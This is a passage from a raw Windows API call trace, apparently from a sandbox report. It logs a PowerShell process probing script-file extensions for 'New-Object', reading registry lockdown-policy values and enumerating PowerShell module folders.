nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.VBS", lpFilePart=0x0) returned 0x2c [0122.421] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\New-Object.VBS", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.422] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0122.422] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0122.422] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0122.422] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\New-Object.VBE", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\New-Object.VBE", lpFilePart=0x0) returned 0x27 [0122.422] GetFullPathNameW (in: lpFileName="New-Object.VBE", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.VBE", lpFilePart=0x0) returned 0x2c [0122.422] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\New-Object.VBE", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.423] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0122.423] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0122.423] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0122.423] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\New-Object.JS", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\New-Object.JS", lpFilePart=0x0) returned 0x26 [0122.423] GetFullPathNameW (in: lpFileName="New-Object.JS", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.JS", lpFilePart=0x0) returned 0x2b [0122.424] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\New-Object.JS", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.425] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0122.425] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0122.425] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0122.425] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\New-Object.JSE", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\New-Object.JSE", lpFilePart=0x0) returned 0x27 [0122.425] GetFullPathNameW (in: lpFileName="New-Object.JSE", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.JSE", lpFilePart=0x0) returned 0x2c [0122.425] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\New-Object.JSE", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.429] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0122.429] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0122.429] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0122.429] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\New-Object.WSF", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\New-Object.WSF", lpFilePart=0x0) returned 0x27 [0122.429] GetFullPathNameW (in: lpFileName="New-Object.WSF", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.WSF", lpFilePart=0x0) returned 0x2c [0122.429] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\New-Object.WSF", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.430] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0122.430] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0122.430] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0122.430] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\New-Object.WSH", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\New-Object.WSH", lpFilePart=0x0) returned 0x27 [0122.430] GetFullPathNameW (in: lpFileName="New-Object.WSH", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.WSH", lpFilePart=0x0) returned 0x2c [0122.430] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\New-Object.WSH", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.431] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0122.431] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0122.437] CoTaskMemAlloc (cb=0x20e) returned 0x8e54b60 [0122.437] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x8e54b60, nSize=0x105 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules;C:\\Program Files (x86)\\WindowsPowerShell\\Modules;C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x9e [0122.437] CoTaskMemFree (pv=0x8e54b60) [0122.437] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x99ae648 | out: phkResult=0x99ae648*=0x858) returned 0x0 [0122.437] RegQueryValueExW (in: hKey=0x858, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x99ae668, lpData=0x0, lpcbData=0x99ae664*=0x0 | out: lpType=0x99ae668*=0x1, lpData=0x0, lpcbData=0x99ae664*=0x56) returned 0x0 [0122.437] RegQueryValueExW (in: hKey=0x858, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x99ae668, lpData=0x6c4803c, lpcbData=0x99ae664*=0x56 | out: lpType=0x99ae668*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x99ae664*=0x56) returned 0x0 [0122.438] RegCloseKey (hKey=0x858) returned 0x0 [0122.459] CoTaskMemAlloc (cb=0x20c) returned 0x8e55400 [0122.459] GetSystemDirectoryW (in: lpBuffer=0x8e55400, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0122.459] CoTaskMemFree (pv=0x8e55400) [0122.459] WldpGetLockdownPolicy () returned 0x0 [0122.459] GetSystemInfo (in: lpSystemInfo=0x99ae47c | out: lpSystemInfo=0x99ae47c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0122.459] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x99ae408 | out: phkResult=0x99ae408*=0x858) returned 0x0 [0122.459] RegQueryValueExW (in: hKey=0x858, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x99ae424, lpData=0x0, lpcbData=0x99ae420*=0x0 | out: lpType=0x99ae424*=0x0, lpData=0x0, lpcbData=0x99ae420*=0x0) returned 0x2 [0122.459] RegCloseKey (hKey=0x858) returned 0x0 [0122.460] CoTaskMemAlloc (cb=0x20c) returned 0x8e542c0 [0122.460] GetSystemDirectoryW (in: lpBuffer=0x8e542c0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0122.460] CoTaskMemFree (pv=0x8e542c0) [0122.460] WldpGetLockdownPolicy () returned 0x0 [0122.460] GetSystemInfo (in: lpSystemInfo=0x99ae45c | out: lpSystemInfo=0x99ae45c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0122.460] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x99ae3e8 | out: phkResult=0x99ae3e8*=0x86c) returned 0x0 [0122.460] RegQueryValueExW (in: hKey=0x86c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x99ae404, lpData=0x0, lpcbData=0x99ae400*=0x0 | out: lpType=0x99ae404*=0x0, lpData=0x0, lpcbData=0x99ae400*=0x0) returned 0x2 [0122.460] RegCloseKey (hKey=0x86c) returned 0x0 [0122.460] CloseHandle (hObject=0x858) returned 1 [0122.461] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0122.462] CoTaskMemAlloc (cb=0x20c) returned 0x8e55ec8 [0122.462] GetSystemDirectoryW (in: lpBuffer=0x8e55ec8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0122.462] CoTaskMemFree (pv=0x8e55ec8) [0122.462] WldpGetLockdownPolicy () returned 0x0 [0122.462] GetSystemInfo (in: lpSystemInfo=0x99ae47c | out: lpSystemInfo=0x99ae47c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0122.462] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x99ae408 | out: phkResult=0x99ae408*=0x858) returned 0x0 [0122.462] RegQueryValueExW (in: hKey=0x858, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x99ae424, lpData=0x0, lpcbData=0x99ae420*=0x0 | out: lpType=0x99ae424*=0x0, lpData=0x0, lpcbData=0x99ae420*=0x0) returned 0x2 [0122.462] RegCloseKey (hKey=0x858) returned 0x0 [0122.462] CoTaskMemAlloc (cb=0x20c) returned 0x8e53a20 [0122.462] GetSystemDirectoryW (in: lpBuffer=0x8e53a20, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0122.462] CoTaskMemFree (pv=0x8e53a20) [0122.462] WldpGetLockdownPolicy () returned 0x0 [0122.462] GetSystemInfo (in: lpSystemInfo=0x99ae45c | out: lpSystemInfo=0x99ae45c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0122.463] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x99ae3e8 | out: phkResult=0x99ae3e8*=0x86c) returned 0x0 [0122.463] RegQueryValueExW (in: hKey=0x86c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x99ae404, lpData=0x0, lpcbData=0x99ae400*=0x0 | out: lpType=0x99ae404*=0x0, lpData=0x0, lpcbData=0x99ae400*=0x0) returned 0x2 [0122.463] RegCloseKey (hKey=0x86c) returned 0x0 [0122.463] CloseHandle (hObject=0x858) returned 1 [0122.464] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\Pester.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\pester.psd1")) returned 0xffffffff [0122.527] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.527] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.528] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.528] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.528] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.528] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.528] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.528] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.528] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.528] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.528] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.528] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.528] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.528] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.529] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.529] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.529] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.529] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.529] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.529] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.529] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.529] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.529] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.529] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.529] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 0 [0122.530] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\*", lpFindFileData=0x99ae354 | out: lpFindFileData=0x99ae354) returned 0x8e852f8 [0122.530] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.530] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.530] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.530] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.530] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.530] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.530] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.530] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.531] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.531] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.531] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.531] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.531] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.531] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.531] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.531] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.531] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.532] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.532] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.532] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.532] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.532] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.532] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.532] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.532] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.532] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.533] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.533] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.533] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.533] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.533] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.533] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.533] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.533] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.533] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.534] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.534] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.534] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.534] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.534] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.534] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.534] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.534] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.534] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.534] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.535] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.535] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.535] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.535] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.535] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.536] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 1 [0122.536] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae364 | out: lpFindFileData=0x99ae364) returned 0 [0122.537] FindClose (in: hFindFile=0x8e852f8 | out: hFindFile=0x8e852f8) returned 1 [0122.537] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker\\*", lpFindFileData=0x99ae25c | out: lpFindFileData=0x99ae25c) returned 0x8e858b8 [0122.537] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.537] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 1 [0122.537] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae26c | out: lpFindFileData=0x99ae26c) returned 0 [0122.537] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker\\*", lpFindFileData=0x99ae25c | out: lpFindFileData=0x99ae25c) returned 0x8e852f8 [0122.537] 